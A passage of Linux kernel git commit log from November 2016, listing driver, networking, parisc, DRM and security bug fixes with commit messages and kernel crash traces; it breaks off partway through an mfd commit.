5e7dfeb758663391ec721e6a4519d3df874f9b1f Author: Geliang Tang Date: Thu Nov 24 21:58:33 2016 +0800 net/mlx5: drop duplicate header delay.h Drop duplicate header delay.h from mlx5/core/main.c. Signed-off-by: Geliang Tang Acked-by: Matan Barak Acked-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/main.c | 1 - 1 file changed, 1 deletion(-) commit 8f8a8b13b447842b147539ae2cab6699897539b9 Author: Geliang Tang Date: Thu Nov 24 21:58:32 2016 +0800 net: ieee802154: drop duplicate header delay.h Drop duplicate header delay.h from adf7242.c. Signed-off-by: Geliang Tang Acked-by: Stefan Schmidt Signed-off-by: David S. Miller drivers/net/ieee802154/adf7242.c | 1 - 1 file changed, 1 deletion(-) commit 4ee12efa2dbf949d72ef2f7ef2e044af5a67b515 Author: Geliang Tang Date: Thu Nov 24 21:58:29 2016 +0800 ibmvnic: drop duplicate header seq_file.h Drop duplicate header seq_file.h from ibmvnic.c. Signed-off-by: Geliang Tang Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 1 - 1 file changed, 1 deletion(-) commit 1f1e70efe53c01844ce76d77c3383c2bcb6beb49 Author: Dan Carpenter Date: Thu Nov 24 14:20:43 2016 +0300 fsl/fman: fix a leak in tgec_free() We set "tgec->cfg" to NULL before passing it to kfree(). There is no need to set it to NULL at all. Let's just delete it. Fixes: 57ba4c9b56d8 ("fsl/fman: Add FMan MAC support") Signed-off-by: Dan Carpenter Signed-off-by: David S. Miller drivers/net/ethernet/freescale/fman/fman_tgec.c | 3 --- 1 file changed, 3 deletions(-) commit 8006f6bf5e39f11c697f48df20382b81d2f2f8b8 Author: Miroslav Lichvar Date: Thu Nov 24 10:55:06 2016 +0100 net: ethtool: don't require CAP_NET_ADMIN for ETHTOOL_GLINKSETTINGS The ETHTOOL_GLINKSETTINGS command is deprecating the ETHTOOL_GSET command and likewise it shouldn't require the CAP_NET_ADMIN capability. Signed-off-by: Miroslav Lichvar Signed-off-by: David S. Miller net/core/ethtool.c | 1 + 1 file changed, 1 insertion(+) commit d876a4d2afecacf4b4d8b11479e9f1ed0080bb2e Author: Jon Paul Maloy Date: Wed Nov 23 23:46:09 2016 -0500 tipc: improve sanity check for received domain records In commit 35c55c9877f8 ("tipc: add neighbor monitoring framework") we added a data area to the link monitor STATE messages under the assumption that previous versions did not use any such data area. For versions older than Linux 4.3 this assumption is not correct. In those version, all STATE messages sent out from a node inadvertently contain a 16 byte data area containing a string; -a leftover from previous RESET messages which were using this during the setup phase. This string serves no purpose in STATE messages, and should no be there. Unfortunately, this data area is delivered to the link monitor framework, where a sanity check catches that it is not a correct domain record, and drops it. It also issues a rate limited warning about the event. Since such events occur much more frequently than anticipated, we now choose to remove the warning in order to not fill the kernel log with useless contents. We also make the sanity check stricter, to further reduce the risk that such data is inavertently admitted. Signed-off-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/monitor.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit f79675563a6bbfc2ff85684bbbaea9ef092664d2 Author: Jon Paul Maloy Date: Wed Nov 23 21:05:26 2016 -0500 tipc: fix compatibility bug in link monitoring commit 817298102b0b ("tipc: fix link priority propagation") introduced a compatibility problem between TIPC versions newer than Linux 4.6 and those older than Linux 4.4. In versions later than 4.4, link STATE messages only contain a non-zero link priority value when the sender wants the receiver to change its priority. This has the effect that the receiver resets itself in order to apply the new priority. This works well, and is consistent with the said commit. However, in versions older than 4.4 a valid link priority is present in all sent link STATE messages, leading to cyclic link establishment and reset on the 4.6+ node. We fix this by adding a test that the received value should not only be valid, but also differ from the current value in order to cause the receiving link endpoint to reset. Reported-by: Amar Nv Signed-off-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/link.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 97db8afa2ab919fc400fe982f5054060868bdf07 Author: Andrew Lunn Date: Thu Nov 24 00:08:13 2016 +0100 net: ethernet: mvneta: Remove IFF_UNICAST_FLT which is not implemented The mvneta driver advertises it supports IFF_UNICAST_FLT. However, it actually does not. The hardware probably does support it, but there is no code to configure the filter. As a quick and simple fix, remove the flag. This will cause the core to fall back to promiscuous mode. Signed-off-by: Andrew Lunn Fixes: b50b72de2f2f ("net: mvneta: enable features before registering the driver") Signed-off-by: David S. Miller drivers/net/ethernet/marvell/mvneta.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3ad0e83cf86bcaeb6ca3c37060a3ce866b25fb42 Merge: 86b01b5 5035b23 Author: Linus Torvalds Date: Fri Nov 25 16:47:15 2016 -0800 Merge branch 'parisc-4.9-4' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux Pull parisc fixes from Helge Deller: "On parisc we were still seeing occasional random segmentation faults and memory corruption on SMP machines. Dave Anglin then looked again at the TLB related code and found two issues in the PCI DMA and generic TLB flush functions. Then, in our startup code we had some timing of the cache and TLB functions to calculate a threshold when to use a complete TLB/cache flush or just to flush a specific range. This code produced a race with newly started CPUs and thus lead to occasional kernel crashes (due to stale TLB/cache entries). The patch by Dave fixes this issue by flushing the local caches before starting secondary CPUs and by removing the race. The last problem fixed by this series is that we quite often suffered from hung tasks and self-detected stalls on the CPUs. It was somehow clear that this was related to the (in v4.7) newly introduced cr16 clocksource and the own implementation of sched_clock(). I replaced the open-coded sched_clock() function and switched to the generic sched_clock() implementation which seems to have fixed this isse as well. All patches have been sucessfully tested on a variety of machines, including our debian buildd servers. All patches (beside the small pr_cont fix) are tagged for stable releases" * 'parisc-4.9-4' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux: parisc: Also flush data TLB in flush_icache_page_asm parisc: Fix race in pci-dma.c parisc: Switch to generic sched_clock implementation parisc: Fix races in parisc_setup_cache_timing() parisc: Fix printk continuations in system detection commit 86b01b5419fd303a3699b2ce6f4b9bfbdaa4ed37 Merge: cd3caef f5527ff Author: Linus Torvalds Date: Fri Nov 25 15:53:45 2016 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security Pull keys fixes from James Morris: "From David: - Fix mpi_powm()'s handling of a number with a zero exponent [CVE-2016-8650]. Integrate my and Andrey's patches for mpi_powm() and use mpi_resize() instead of RESIZE_IF_NEEDED() - the latter adds a duplicate check into the execution path of a trivial case we don't normally expect to be taken. - Fix double free in X.509 error handling" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security: mpi: Fix NULL ptr dereference in mpi_powm() [ver #3] X.509: Fix double free in x509_cert_parse() [ver #3] commit cd3caefb4663e3811d37cc2afad3cce642d60061 Author: Linus Torvalds Date: Fri Nov 25 15:44:47 2016 -0800 Fix subtle CONFIG_MODVERSIONS problems CONFIG_MODVERSIONS has been broken for pretty much the whole 4.9 series, and quite frankly, nobody has cared very deeply. We absolutely know how to fix it, and it's not _complicated_, but it's not exactly pretty either. This oneliner fixes it without the ugliness, and allows for further future cleanups. "We've secretly replaced their regular MODVERSIONS with nothing at all, let's see if they notice" Signed-off-by: Linus Torvalds init/Kconfig | 1 + 1 file changed, 1 insertion(+) commit beb53e4b2328b0947622dd1bf407295bf1d9b436 Merge: 6865644 7e5c07a Author: Linus Torvalds Date: Fri Nov 25 15:16:51 2016 -0800 Merge tag 'acpi-4.9-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull ACPI fixes from Rafael Wysocki: "Two ACPI fixes for 4.9-rc7. One of them reverts a recent ACPI commit that attempted to improve reboot/power-off on some systems, but introduced problems elsewhere, and the other one fixes kernel builds with the new WDAT watchdog driver enabled in some configurations. Specifics: - Revert the recent commit that caused the ACPI _PTS method to be executed in the power-off/reboot code path (as per the specification) in an attempt to improve things on some systems (apparently expecting _PTS to be executed in that code path), but broke power-off/reboot on at least one other machine (Rafael Wysocki). - Fix kernel builds with the new WDAT watchdog driver enabled in some configurations by explicitly selecting WATCHDOG_CORE when enabling the WDAT watchdog driver (Mika Westerberg)" * tag 'acpi-4.9-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: watchdog: wdat_wdt: Select WATCHDOG_CORE Revert "ACPI: Execute _PTS before system reboot" commit 686564434e88b67ea8dbbf9150286d04c83bd193 Author: Rafael J. Wysocki Date: Fri Nov 25 00:13:56 2016 +0100 MAINTAINERS: Add bug tracking system location entry type Following the kernel Bugzilla discussion during the Kernel Summit (https://lwn.net/Articles/705245/), add bug tracking system location entry type (B) to MAINTAINERS and populate it for several subsystems known to be using the kernel BZ actively (and add the upstream BZ for ACPICA too). Signed-off-by: Rafael J. Wysocki Signed-off-by: Linus Torvalds MAINTAINERS | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 89119f08354b628548118cacd686a7700372ad19 Author: Jarkko Nikula Date: Fri Nov 25 17:22:27 2016 +0200 Revert "i2c: designware: do not disable adapter after transfer" This reverts commit 0317e6c0f1dc1ba86b8d9dccc010c5e77b8355fa. Srinivas reported recently touchscreen and touchpad stopped working in Haswell based machine in Linux 4.9-rc series with timeout errors from i2c_designware: [ 16.508013] i2c_designware INT33C3:00: controller timed out [ 16.508302] i2c_hid i2c-MSFT0001:02: failed to change power setting. [ 17.532016] i2c_designware INT33C3:00: controller timed out [ 18.556022] i2c_designware INT33C3:00: controller timed out [ 18.556315] i2c_hid i2c-ATML1000:00: failed to retrieve report from device. I managed to reproduce similar errors on another Haswell based machine where touchscreen initialization fails maybe in every 1/5 - 1/2 boots. Since root cause for these errors is not clear yet and debugging is ongoing it's better to revert this commit as we are near to release. Reported-by: Srinivas Pandruvada Signed-off-by: Jarkko Nikula Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.c | 55 +++++++++++--------------------- 1 file changed, 18 insertions(+), 37 deletions(-) commit 6e631f6d354fd7d527de86b1bc7d94fabac862d6 Merge: 6895eae 86b4522 Author: Arnd Bergmann Date: Fri Nov 25 22:38:51 2016 +0100 Merge tag 'sti-dt-for-v4.9-rc-round2' of git://git.kernel.org/pub/scm/linux/kernel/git/pchotard/sti into fixes Pull "STi DT fix" from Patrice Chotard: The I2C nodes are missing #address-cells and #size-cells. This is causing warning at device tree compilation when some I2C device sub-nodes are defined. * tag 'sti-dt-for-v4.9-rc-round2' of git://git.kernel.org/pub/scm/linux/kernel/git/pchotard/sti: ARM: dts: STiH407-family: fix i2c nodes commit 6895eae3537f363b34a8682629a9a1356ac3c94b Merge: 9c76358 e5cd7ff Author: Arnd Bergmann Date: Fri Nov 25 22:36:00 2016 +0100 Merge tag 'sunxi-fixes-for-4.9-2' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into fixes Pull "Allwinner fixes for 4.9, second iteration" from Maxime Ripard: A renaming of the GR8 DTSI and DTS to make it explicitly part of the sun5i family. * tag 'sunxi-fixes-for-4.9-2' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: ARM: gr8: Rename the DTSI and relevant DTS commit 7e5c07af8693e72b23aefb70da88b31b30c35b22 Merge: 9c76358 9713adc effb46b Author: Rafael J. Wysocki Date: Fri Nov 25 22:24:07 2016 +0100 Merge branches 'acpi-sleep-fixes' and 'acpi-wdat-fixes' * acpi-sleep-fixes: Revert "ACPI: Execute _PTS before system reboot" * acpi-wdat-fixes: watchdog: wdat_wdt: Select WATCHDOG_CORE commit fb09c8c524dae2b893aacc9348e876a87b45b697 Merge: f7db0ec 5499a6b Author: David S. Miller Date: Fri Nov 25 16:17:12 2016 -0500 Merge tag 'linux-can-fixes-for-4.9-20161123' of git://git.kernel.org/pub/scm/linux/kernel/git/mkl/linux-can Marc Kleine-Budde says: ==================== pull-request: can 2016-11-23 this is a pull request for net/master. The patch by Oliver Hartkopp for the broadcast manager (bcm) fixes the CAN-FD support, which may cause an out-of-bounds access otherwise. ==================== Signed-off-by: David S. Miller commit f7db0ec9572f66b36c0d4d6bc4b564da53c8b35d Author: Geliang Tang Date: Wed Nov 23 22:24:35 2016 +0800 dwc_eth_qos: drop duplicate headers Drop duplicate headers types.h and delay.h from dwc_eth_qos.c. Signed-off-by: Geliang Tang Signed-off-by: David S. Miller drivers/net/ethernet/synopsys/dwc_eth_qos.c | 2 -- 1 file changed, 2 deletions(-) commit f2051f8f9d30f5bae693863dca3416a1ef69064c Merge: ea9ea6c 1a41741 Author: Linus Torvalds Date: Fri Nov 25 11:36:35 2016 -0800 Merge tag 'mfd-fixes-4.9.1' of git://git.kernel.org/pub/scm/linux/kernel/git/lee/mfd Pull MFD fixes from Lee Jones: "Received a copule of last minute fixes for v4.9. The patches from Viresh are fixing issues displayed in KernelCI" * tag 'mfd-fixes-4.9.1' of git://git.kernel.org/pub/scm/linux/kernel/git/lee/mfd: mfd: wm8994-core: Don't use managed regulator bulk get API mfd: wm8994-core: Disable regulators before removing them mfd: syscon: Support native-endian regmaps commit ea9ea6c6f595ec774e957834d5485949c469ed0e Merge: 6006d6e 22a1e77 Author: Linus Torvalds Date: Fri Nov 25 11:31:01 2016 -0800 Merge tag 'media/v4.9-4' of git://git.kernel.org/pub/scm/linux/kernel/git/mchehab/linux-media Pull media fix from Mauro Carvalho Chehab: "Fix for the firmware load logic of the tuner-xc2028 driver" * tag 'media/v4.9-4' of git://git.kernel.org/pub/scm/linux/kernel/git/mchehab/linux-media: xc2028: Fix use-after-free bug properly commit 6006d6e719a02337132c96bf2114a703a0514856 Merge: 16ae16c 9704668 Author: Linus Torvalds Date: Fri Nov 25 10:51:35 2016 -0800 Merge tag 'drm-fixes-for-v4.9-rc7' of git://people.freedesktop.org/~airlied/linux Pull drm fixes from Dave Airlie: "Seems to be quietening down nicely, a few mediatek, one exynos and one hdlcd fix, along with two amd fixes" * tag 'drm-fixes-for-v4.9-rc7' of git://people.freedesktop.org/~airlied/linux: gpu/drm/exynos/exynos_hdmi - Unmap region obtained by of_iomap drm/mediatek: fix null pointer dereference drm/mediatek: fixed the calc method of data rate per lane drm/mediatek: fix a typo of DISP_OD_CFG to OD_RELAYMODE drm/radeon: fix power state when port pm is unavailable (v2) drm/amdgpu: fix power state when port pm is unavailable drm/arm: hdlcd: fix plane base address update drm/amd/powerplay: avoid out of bounds access on array ps. commit 747e5a5ff2a2ae84715c33d6679ac3c5220a3aec Author: Robin Murphy Date: Thu Nov 24 14:40:50 2016 +0000 drm: hdlcd: Fix cleanup order If hdlcd_drm_bind() fails at drm_fbdev_cma_init(), its cleanup will call drm_mode_config_cleanup() as if to balance drm_mode_config_reset(). The net result is that drm_connector_cleanup() will clean up the active connectors long before component_unbind_all() gets called, so when the connector later tries to clean up itself after being unbound, Bad Things can happen: [ 4.121888] Unable to handle kernel NULL pointer dereference at virtual address 00000000 [ 4.129951] pgd = ffffff80091e0000 [ 4.133345] [00000000] *pgd=00000009ffffe003, *pud=00000009ffffe003, *pmd=0000000000000000 [ 4.141613] Internal error: Oops: 96000005 [#1] PREEMPT SMP [ 4.147144] Modules linked in: [ 4.150188] CPU: 0 PID: 122 Comm: kworker/u12:2 Not tainted 4.8.0-rc2+ #989 [ 4.157097] Hardware name: ARM Juno development board (r1) (DT) [ 4.162981] Workqueue: deferwq deferred_probe_work_func [ 4.168173] task: ffffffc975d93200 task.stack: ffffffc975dac000 [ 4.174055] PC is at drm_connector_cleanup+0x58/0x1c0 [ 4.179074] LR is at tda998x_unbind+0x24/0x40 [ 4.183401] pc : [] lr : [] pstate: 00000045 [ 4.190750] sp : ffffffc975dafa10 [ 4.194041] x29: ffffffc975dafa10 x28: ffffffc9768152a8 [ 4.199325] x27: ffffffc97ff46450 x26: ffffff8008d99000 [ 4.204608] x25: dead000000000100 x24: dead000000000200 [ 4.209891] x23: ffffffc976bf91e8 x22: 0000000000000000 [ 4.215172] x21: ffffffc976bf9170 x20: ffffffc976bf9170 [ 4.220454] x19: ffffffc976bf9018 x18: 0000000000000000 [ 4.225737] x17: 0000000074ce71ee x16: 000000008ff5d35f [ 4.231019] x15: ffffffc97681e91c x14: ffffffffffffffff [ 4.236301] x13: ffffffc97681e185 x12: 0000000000000038 [ 4.241583] x11: 0101010101010101 x10: 0000000000000000 [ 4.246866] x9 : 0000000040000000 x8 : 0000000000210d00 [ 4.252148] x7 : ffffffc97fea8c00 x6 : 000000000000001b [ 4.257430] x5 : ffffff80084b7b8c x4 : 0000000000000080 [ 4.262712] x3 : ffffff8008504128 x2 : ffffffc975df3800 [ 4.267993] x1 : 0000000000000000 x0 : 0000000000000000 ... [ 4.750937] [] drm_connector_cleanup+0x58/0x1c0 [ 4.756990] [] tda998x_unbind+0x24/0x40 [ 4.762354] [] component_unbind.isra.4+0x28/0x50 [ 4.768492] [] component_unbind_all+0xcc/0xd8 [ 4.774373] [] hdlcd_drm_bind+0x234/0x418 [ 4.779909] [] try_to_bring_up_master+0x140/0x1a0 [ 4.786133] [] component_add+0x98/0x170 [ 4.791496] [] tda998x_probe+0x18/0x20 [ 4.796774] [] i2c_device_probe+0x164/0x258 [ 4.802481] [] driver_probe_device+0x204/0x2b0 [ 4.808447] [] __device_attach_driver+0x9c/0xf8 [ 4.814498] [] bus_for_each_drv+0x58/0x98 [ 4.820033] [] __device_attach+0xc4/0x138 [ 4.825567] [] device_initial_probe+0x10/0x18 [ 4.831446] [] bus_probe_device+0x94/0xa0 [ 4.836981] [] deferred_probe_work_func+0x78/0xb0 [ 4.843207] [] process_one_work+0x118/0x378 [ 4.848914] [] worker_thread+0x48/0x498 [ 4.854276] [] kthread+0xd0/0xe8 [ 4.859036] [] ret_from_fork+0x10/0x40 [ 4.864314] Code: f2fbd5b9 f2fbd5b8 f8478ee0 eb17001f (f9400013) [ 4.870472] ---[ end trace a643cfe4ce1d838b ]--- Fix this by moving the drm_mode_config_cleanup() much later such that it correctly balances drm_mode_config_init(). Suggested-by: Russell King Signed-off-by: Robin Murphy Signed-off-by: Liviu Dudau drivers/gpu/drm/arm/hdlcd_drv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2319f847a8910cff1d46c9b66aa1dd7cc3e836a9 Author: Mauricio Faria de Oliveira Date: Wed Nov 23 10:33:19 2016 -0200 scsi: lpfc: fix oops/BUG in lpfc_sli_ringtxcmpl_put() The BUG_ON() recently introduced in lpfc_sli_ringtxcmpl_put() is hit in the lpfc_els_abort() > lpfc_sli_issue_abort_iotag() > lpfc_sli_abort_iotag_issue() function path [similar names], due to 'piocb->vport == NULL': BUG_ON(!piocb || !piocb->vport); This happens because lpfc_sli_abort_iotag_issue() doesn't set the 'abtsiocbp->vport' pointer -- but this is not the problem. Previously, lpfc_sli_ringtxcmpl_put() accessed 'piocb->vport' only if 'piocb->iocb.ulpCommand' is neither CMD_ABORT_XRI_CN nor CMD_CLOSE_XRI_CN, which are the only possible values for lpfc_sli_abort_iotag_issue(): lpfc_sli_ringtxcmpl_put(): if ((unlikely(pring->ringno == LPFC_ELS_RING)) && (piocb->iocb.ulpCommand != CMD_ABORT_XRI_CN) && (piocb->iocb.ulpCommand != CMD_CLOSE_XRI_CN) && (!(piocb->vport->load_flag & FC_UNLOADING))) lpfc_sli_abort_iotag_issue(): if (phba->link_state >= LPFC_LINK_UP) iabt->ulpCommand = CMD_ABORT_XRI_CN; else iabt->ulpCommand = CMD_CLOSE_XRI_CN; So, this function path would not have hit this possible NULL pointer dereference before. In order to fix this regression, move the second part of the BUG_ON() check prior to the pointer dereference that it does check for. For reference, this is the stack trace observed. The problem happened because an unsolicited event was received - a PLOGI was received after our PLOGI was issued but not yet complete, so the discovery state machine goes on to sw-abort our PLOGI. kernel BUG at drivers/scsi/lpfc/lpfc_sli.c:1326! Oops: Exception in kernel mode, sig: 5 [#1] <...> NIP [...] lpfc_sli_ringtxcmpl_put+0x1c/0xf0 [lpfc] LR [...] __lpfc_sli_issue_iocb_s4+0x188/0x200 [lpfc] Call Trace: [...] [...] __lpfc_sli_issue_iocb_s4+0xb0/0x200 [lpfc] (unreliable) [...] [...] lpfc_sli_issue_abort_iotag+0x2b4/0x350 [lpfc] [...] [...] lpfc_els_abort+0x1a8/0x4a0 [lpfc] [...] [...] lpfc_rcv_plogi+0x6d4/0x700 [lpfc] [...] [...] lpfc_rcv_plogi_plogi_issue+0xd8/0x1d0 [lpfc] [...] [...] lpfc_disc_state_machine+0xc0/0x2b0 [lpfc] [...] [...] lpfc_els_unsol_buffer+0xcc0/0x26c0 [lpfc] [...] [...] lpfc_els_unsol_event+0xa8/0x220 [lpfc] [...] [...] lpfc_complete_unsol_iocb+0xb8/0x138 [lpfc] [...] [...] lpfc_sli4_handle_received_buffer+0x6a0/0xec0 [lpfc] [...] [...] lpfc_sli_handle_slow_ring_event_s4+0x1c4/0x240 [lpfc] [...] [...] lpfc_sli_handle_slow_ring_event+0x24/0x40 [lpfc] [...] [...] lpfc_do_work+0xd88/0x1970 [lpfc] [...] [...] kthread+0x108/0x130 [...] [...] ret_from_kernel_thread+0x5c/0xbc <...> Cc: stable@vger.kernel.org # v4.8 Fixes: 22466da5b4b7 ("lpfc: Fix possible NULL pointer dereference") Reported-by: Harsha Thyagaraja Signed-off-by: Mauricio Faria de Oliveira Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen drivers/scsi/lpfc/lpfc_sli.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 5035b230e7b67ac12691ed3b5495bbb617027b68 Author: John David Anglin Date: Thu Nov 24 20:18:14 2016 -0500 parisc: Also flush data TLB in flush_icache_page_asm This is the second issue I noticed in reviewing the parisc TLB code. The fic instruction may use either the instruction or data TLB in flushing the instruction cache. Thus, on machines with a split TLB, we should also flush the data TLB after setting up the temporary alias registers. Although this has no functional impact, I changed the pdtlb and pitlb instructions to consistently use the index register %r0. These instructions do not support integer displacements. Tested on rp3440 and c8000. Signed-off-by: John David Anglin Cc: # v3.16+ Signed-off-by: Helge Deller arch/parisc/kernel/pacache.S | 37 ++++++++++++++++++++++--------------- 1 file changed, 22 insertions(+), 15 deletions(-) commit c0452fb9fb8f49c7d68ab9fa0ad092016be7b45f Author: John David Anglin Date: Thu Nov 24 20:06:32 2016 -0500 parisc: Fix race in pci-dma.c We are still troubled by occasional random segmentation faults and memory memory corruption on SMP machines. The causes quite a few package builds to fail on the Debian buildd machines for parisc. When gcc-6 failed to build three times in a row, I looked again at the TLB related code. I found a couple of issues. This is the first. In general, we need to ensure page table updates and corresponding TLB purges are atomic. The attached patch fixes an instance in pci-dma.c where the page table update was not guarded by the TLB lock. Tested on rp3440 and c8000. So far, no further random segmentation faults have been observed. Signed-off-by: John David Anglin Cc: # v3.16+ Signed-off-by: Helge Deller arch/parisc/kernel/pci-dma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 43b1f6abd59063a088416a0df042b36450f91f75 Author: Helge Deller Date: Tue Nov 22 18:08:30 2016 +0100 parisc: Switch to generic sched_clock implementation Drop the open-coded sched_clock() function and replace it by the provided GENERIC_SCHED_CLOCK implementation. We have seen quite some hung tasks in the past, which seem to be fixed by this patch. Signed-off-by: Helge Deller Cc: # v4.7+ Signed-off-by: Helge Deller arch/parisc/Kconfig | 4 +++- arch/parisc/kernel/time.c | 57 +++++++++-------------------------------------- 2 files changed, 14 insertions(+), 47 deletions(-) commit 741dc7bf1c7c7d93b853bb55efe77baa27e1b0a9 Author: John David Anglin Date: Sun Nov 20 21:12:36 2016 -0500 parisc: Fix races in parisc_setup_cache_timing() Helge reported to me the following startup crash: [ 0.000000] Linux version 4.8.0-1-parisc64-smp (debian-kernel@lists.debian.org) (gcc version 5.4.1 20161019 (GCC) ) #1 SMP Debian 4.8.7-1 (2016-11-13) [ 0.000000] The 64-bit Kernel has started... [ 0.000000] Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size. [ 0.000000] Determining PDC firmware type: System Map. [ 0.000000] model 9000/785/J5000 [ 0.000000] Total Memory: 2048 MB [ 0.000000] Memory: 2018528K/2097152K available (9272K kernel code, 3053K rwdata, 1319K rodata, 1024K init, 840K bss, 78624K reserved, 0K cma-reserved) [ 0.000000] virtual kernel memory layout: [ 0.000000] vmalloc : 0x0000000000008000 - 0x000000003f000000 (1007 MB) [ 0.000000] memory : 0x0000000040000000 - 0x00000000c0000000 (2048 MB) [ 0.000000] .init : 0x0000000040100000 - 0x0000000040200000 (1024 kB) [ 0.000000] .data : 0x0000000040b0e000 - 0x0000000040f533e0 (4372 kB) [ 0.000000] .text : 0x0000000040200000 - 0x0000000040b0e000 (9272 kB) [ 0.768910] Brought up 1 CPUs [ 0.992465] NET: Registered protocol family 16 [ 2.429981] Releasing cpu 1 now, hpa=fffffffffffa2000 [ 2.635751] CPU(s): 2 out of 2 PA8500 (PCX-W) at 440.000000 MHz online [ 2.726692] Setting cache flush threshold to 1024 kB [ 2.729932] Not-handled unaligned insn 0x43ffff80 [ 2.798114] Setting TLB flush threshold to 140 kB [ 2.928039] Unaligned handler failed, ret = -1 [ 3.000419] _______________________________ [ 3.000419] < Your System ate a SPARC! Gah! > [ 3.000419] ------------------------------- [ 3.000419] \ ^__^ [ 3.000419] (__)\ )\/\ [ 3.000419] U ||----w | [ 3.000419] || || [ 9.340055] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 4.8.0-1-parisc64-smp #1 Debian 4.8.7-1 [ 9.448082] task: 00000000bfd48060 task.stack: 00000000bfd50000 [ 9.528040] [ 10.760029] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004025d154 000000004025d158 [ 10.868052] IIR: 43ffff80 ISR: 0000000000340000 IOR: 000001ff54150960 [ 10.960029] CPU: 1 CR30: 00000000bfd50000 CR31: 0000000011111111 [ 11.052057] ORIG_R28: 000000004021e3b4 [ 11.100045] IAOQ[0]: irq_exit+0x94/0x120 [ 11.152062] IAOQ[1]: irq_exit+0x98/0x120 [ 11.208031] RP(r2): irq_exit+0xb8/0x120 [ 11.256074] Backtrace: [ 11.288067] [<00000000402cd944>] cpu_startup_entry+0x1e4/0x598 [ 11.368058] [<0000000040109528>] smp_callin+0x2c0/0x2f0 [ 11.436308] [<00000000402b53fc>] update_curr+0x18c/0x2d0 [ 11.508055] [<00000000402b73b8>] dequeue_entity+0x2c0/0x1030 [ 11.584040] [<00000000402b3cc0>] set_next_entity+0x80/0xd30 [ 11.660069] [<00000000402c1594>] pick_next_task_fair+0x614/0x720 [ 11.740085] [<000000004020dd34>] __schedule+0x394/0xa60 [ 11.808054] [<000000004020e488>] schedule+0x88/0x118 [ 11.876039] [<0000000040283d3c>] rescuer_thread+0x4d4/0x5b0 [ 11.948090] [<000000004028fc4c>] kthread+0x1ec/0x248 [ 12.016053] [<0000000040205020>] end_fault_vector+0x20/0xc0 [ 12.092239] [<00000000402050c0>] _switch_to_ret+0x0/0xf40 [ 12.164044] [ 12.184036] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 4.8.0-1-parisc64-smp #1 Debian 4.8.7-1 [ 12.244040] Backtrace: [ 12.244040] [<000000004021c480>] show_stack+0x68/0x80 [ 12.244040] [<00000000406f332c>] dump_stack+0xec/0x168 [ 12.244040] [<000000004021c74c>] die_if_kernel+0x25c/0x430 [ 12.244040] [<000000004022d320>] handle_unaligned+0xb48/0xb50 [ 12.244040] [ 12.632066] ---[ end trace 9ca05a7215c7bbb2 ]--- [ 12.692036] Kernel panic - not syncing: Attempted to kill the idle task! We have the insn 0x43ffff80 in IIR but from IAOQ we should have: 4025d150: 0f f3 20 df ldd,s r19(r31),r31 4025d154: 0f 9f 00 9c ldw r31(ret0),ret0 4025d158: bf 80 20 58 cmpb,*<> r0,ret0,4025d18c Cpu0 has just completed running parisc_setup_cache_timing: [ 2.429981] Releasing cpu 1 now, hpa=fffffffffffa2000 [ 2.635751] CPU(s): 2 out of 2 PA8500 (PCX-W) at 440.000000 MHz online [ 2.726692] Setting cache flush threshold to 1024 kB [ 2.729932] Not-handled unaligned insn 0x43ffff80 [ 2.798114] Setting TLB flush threshold to 140 kB [ 2.928039] Unaligned handler failed, ret = -1 From the backtrace, cpu1 is in smp_callin: void __init smp_callin(void) { int slave_id = cpu_now_booting; smp_cpu_init(slave_id); preempt_disable(); flush_cache_all_local(); /* start with known state */ flush_tlb_all_local(NULL); local_irq_enable(); /* Interrupts have been off until now */ cpu_startup_entry(CPUHP_AP_ONLINE_IDLE); So, it has just flushed its caches and the TLB. It would seem either the flushes in parisc_setup_cache_timing or smp_callin have corrupted kernel memory. The attached patch reworks parisc_setup_cache_timing to remove the races in setting the cache and TLB flush thresholds. It also corrects the number of bytes flushed in the TLB calculation. The patch flushes the cache and TLB on cpu0 before starting the secondary processors so that they are started from a known state. Tested with a few reboots on c8000. Signed-off-by: John David Anglin Cc: # v3.18+ Signed-off-by: Helge Deller arch/parisc/kernel/cache.c | 31 ++++++++++++------------------- arch/parisc/kernel/setup.c | 4 ++++ 2 files changed, 16 insertions(+), 19 deletions(-) commit 1a41741fd60b0a2d1102c3d1ff9d58cb324a8d29 Author: Viresh Kumar Date: Thu Oct 27 15:50:18 2016 +0530 mfd: wm8994-core: Don't use managed regulator bulk get API The kernel WARNs and then crashes today if wm8994_device_init() fails after calling devm_regulator_bulk_get(). That happens because there are multiple devices involved here and the order in which managed resources are freed isn't correct. The regulators are added as children of wm8994->dev. Whereas, devm_regulator_bulk_get() receives wm8994->dev as the device, though it gets the same regulators which were added as children of wm8994->dev earlier. During failures, the children are removed first and the core eventually calls regulator_unregister() for them. As regulator_put() was never done for them (opposite of devm_regulator_bulk_get()), the kernel WARNs at WARN_ON(rdev->open_count); And eventually it crashes from debugfs_remove_recursive(). --------x------------------x---------------- wm8994 3-001a: Device is not a WM8994, ID is 0 ------------[ cut here ]------------ WARNING: CPU: 0 PID: 1 at 